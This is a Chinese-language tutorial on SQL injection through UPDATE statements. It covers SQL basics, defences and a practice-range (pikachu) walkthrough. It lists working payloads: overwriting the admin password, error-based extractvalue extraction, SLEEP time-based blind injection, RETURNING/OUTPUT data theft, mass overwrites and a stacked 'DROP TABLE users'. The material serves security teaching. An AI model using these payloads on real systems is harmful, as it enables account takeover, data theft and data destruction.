Web渗透之SQL注入-更新注入
2026/6/8 22:31:54 网站建设 项目流程

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

一、概念

核心原理

常见攻击手法

1. 修改其他用户的数据(越权更新)

2. 利用 UPDATE 注入窃取数据

3. 利用 UPDATE 进行布尔或时间盲注

危害

防御措施

示例(合法的测试环境)

二、SQL 增删改语法(INSERT、DELETE、UPDATE)

1. 插入数据(INSERT)

2. 删除数据(DELETE)

3. 更新数据(UPDATE)

补充:替换数据(REPLACE,MySQL 特有)

三、更新注入的SQL语法

1. 修改其他用户的数据(越权)

2. 利用报错注入提取数据(MySQL)

3. 时间盲注(无回显时)

4. 利用 RETURNING / OUTPUT 子句窃取数据(PostgreSQL / SQL Server)

5. 批量修改或破坏数据

6. 堆叠查询(如果支持)

防御总结

四、靶场渗透演示

1、判断类型

2、增

3、改

4、删


一、概念

更新注入(UPDATE Injection)是 SQL 注入的一种类型,攻击者利用 Web 应用中存在 SQL 注入漏洞的UPDATE语句,通过构造恶意输入来修改数据库中的记录,甚至可能利用UPDATE语句的副作用(如BENCHMARKSLEEP)进行时间盲注或通过RETURNING/OUTPUT子句窃取数据。

核心原理

应用程序在更新用户信息(如修改密码、个人信息)时,使用了字符串拼接方式构造 SQL 语句,例如:

$sql = "UPDATE users SET password = '".$_POST['new_pwd']."' WHERE username = '".$_SESSION['user']."'";

攻击者可以在new_pwd参数中注入额外的 SQL 代码,改变原始 SQL 的语义。

常见攻击手法

1. 修改其他用户的数据(越权更新)

通过注入WHERE条件,影响其他用户的记录:

' OR '1'='1

拼接后:

UPDATE users SET password = '' OR '1'='1' WHERE username = 'admin' -- 实际会更新所有用户

更精确的利用:

', password = 'hacked' WHERE username = 'admin' --

导致admin的密码被修改。

2. 利用UPDATE注入窃取数据

结合RETURNING(PostgreSQL)、OUTPUT(SQL Server)或子查询,可以将数据带出。

MySQL 示例(无法直接返回,但可以通过报错或时间盲注):

password = 'new' || (SELECT extractvalue(1, concat(0x7e, database()))) --

报错注入将数据库名显示在错误信息中。

PostgreSQL

password = 'new' RETURNING (SELECT usename FROM pg_user) --

如果应用显示更新后的密码,可能直接泄露数据。

3. 利用UPDATE进行布尔或时间盲注

修改条件使其永远为真或假,并通过页面响应差异或时间延迟推断数据:

password = 'new' WHERE username = 'admin' AND IF(ASCII(SUBSTRING(database(),1,1)) > 100, SLEEP(5), 0) --

即使没有回显,时间盲注依然有效。

危害

  • 越权修改:修改其他用户的密码、邮箱、权限等。

  • 数据破坏:将关键字段置空或篡改业务数据。

  • 信息泄露:结合报错或时间盲注提取数据库内容。

  • 权限提升:将普通用户的role字段改为admin

防御措施

  • 参数化查询(预编译)UPDATE语句也使用参数化,避免拼接。

  • 最小权限原则:数据库用户只授予必需的UPDATE权限,限制可更新的列。

  • 输入验证:对更新内容进行类型校验和白名单过滤。

  • ORM 框架:使用 Laravel Eloquent、Hibernate 等自动参数化的框架。

示例(合法的测试环境)

假设一个修改密码的接口,正常请求:

POST /update_profile.php new_password=123456

攻击载荷:

new_password=123456', email='attacker@example.com' WHERE username='admin' --

如果注入成功,攻击者可以修改admin的邮箱地址,进而重置密码。

总结:更新注入是专门针对UPDATE语句的 SQL 注入,攻击目标主要是篡改数据和利用辅助子查询窃取信息。防御核心与普通注入一致:参数化查询 + 最小权限。

二、SQL 增删改语法(INSERT、DELETE、UPDATE)

1. 插入数据(INSERT)

基本语法

INSERT INTO 表名 (列1, 列2, ...) VALUES (值1, 值2, ...);

示例

-- 插入完整行(所有列) INSERT INTO users VALUES (1, 'john', 'password123', 'john@example.com'); ​ -- 插入指定列 INSERT INTO users (username, email) VALUES ('alice', 'alice@example.com'); ​ -- 一次插入多行 INSERT INTO users (username, email) VALUES ('bob', 'bob@example.com'), ('carol', 'carol@example.com');

2. 删除数据(DELETE)

基本语法

DELETE FROM 表名 WHERE 条件;

示例

-- 删除指定用户 DELETE FROM users WHERE user_id = 10; ​ -- 删除所有未验证的用户 DELETE FROM users WHERE verified = 0; ​ -- 删除所有行(谨慎!) DELETE FROM users;

注意:不带WHERE会删除表中所有行,但保留表结构。


3. 更新数据(UPDATE)

基本语法

UPDATE 表名 SET 列1 = 新值1, 列2 = 新值2, ... WHERE 条件;

示例

-- 更新单列 UPDATE users SET password = 'newpass' WHERE username = 'admin'; ​ -- 更新多列 UPDATE users SET email = 'new@example.com', active = 1 WHERE user_id = 5; ​ -- 使用表达式或函数 UPDATE products SET price = price * 1.1 WHERE category = 'electronics';

补充:替换数据(REPLACE,MySQL 特有)

如果主键或唯一索引冲突则先删除再插入,否则直接插入。

REPLACE INTO users (id, username) VALUES (1, 'new_name');

三、更新注入的SQL语法

更新注入(UPDATE Injection)中,攻击者利用的是存在漏洞的UPDATE语句,通过构造恶意输入改变 SQL 的原始意图。以下是典型的攻击 SQL 语句(Payload)及其效果:


1. 修改其他用户的数据(越权)

假设原始 SQL 为:

UPDATE users SET password = '用户输入的新密码' WHERE username = '当前登录用户';

Payload(在“新密码”字段输入):

', password = 'hacked' WHERE username = 'admin' --

拼接后:

UPDATE users SET password = '' , password = 'hacked' WHERE username = 'admin' -- ' WHERE username = '当前用户';

效果:将admin的密码改为hacked

变体(修改多个字段)

', email = 'attacker@evil.com', password = 'newpass' WHERE username = 'admin' --

2. 利用报错注入提取数据(MySQL)

Payload(在可注入的字段中):

' OR (SELECT extractvalue(1, concat(0x7e, database()))) OR '

假设原始UPDATE中字段值被引号包裹,可闭合后插入报错函数。

完整示例

UPDATE users SET password = '' OR extractvalue(1, concat(0x7e, database())) OR '' WHERE username = 'admin';

如果应用显示数据库错误,会暴露出当前数据库名。


3. 时间盲注(无回显时)

Payload

', last_login = IF(ASCII(SUBSTRING(database(),1,1)) > 100, SLEEP(5), 0) --

效果:根据条件是否触发SLEEP(5),可通过响应时间推断字符。

通用时间盲注模板

SET column = value WHERE condition AND IF(布尔表达式, SLEEP(5), 0)

例如:

UPDATE users SET token = '' WHERE id = 1 AND IF(SUBSTRING(database(),1,1)='s', SLEEP(5), 0);

4. 利用RETURNING/OUTPUT子句窃取数据(PostgreSQL / SQL Server)

PostgreSQL

', email = (SELECT usename FROM pg_user LIMIT 1) RETURNING email --

如果应用将更新后的值回显到页面,则直接泄露数据。

SQL Server

' OUTPUT inserted.email WHERE username = 'admin' --

5. 批量修改或破坏数据

无条件修改所有行

', password = 'evil' --

拼接后WHERE子句被注释,导致全表密码被改。

清空关键字段

', email = NULL WHERE 1=1 --

6. 堆叠查询(如果支持)

'; DROP TABLE users; --

利用UPDATE注入点执行多条语句(需要数据库驱动支持堆叠)。


防御总结

  • 使用参数化查询(预编译)处理UPDATE语句。

  • 对输入进行严格校验(如密码字段不允许出现 SQL 关键字)。

  • 数据库账户使用最小权限,禁止FILESUPER等权限。

  • 关闭错误回显,使用统一错误页面。

四、靶场渗透演示

以pikachu靶场为例

1、判断类型

账号肯定是字符型,所以需要判断是单引号闭合还是双引号闭合

先随便填进行注册

注册成功

卡顿了判断是单引号闭合

2、增

有报错,那就能进行错误注入

爆出来数据库名

3、改

先注册个账号登录进去

打开bp进行抓包,进行修改

进行错误注入

4、删

这里有个删除功能

用bp抓包

get请求空格需要url编码,进行验证发生卡顿,判断是数字型

然后进行错误注入,获取数据库名称

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询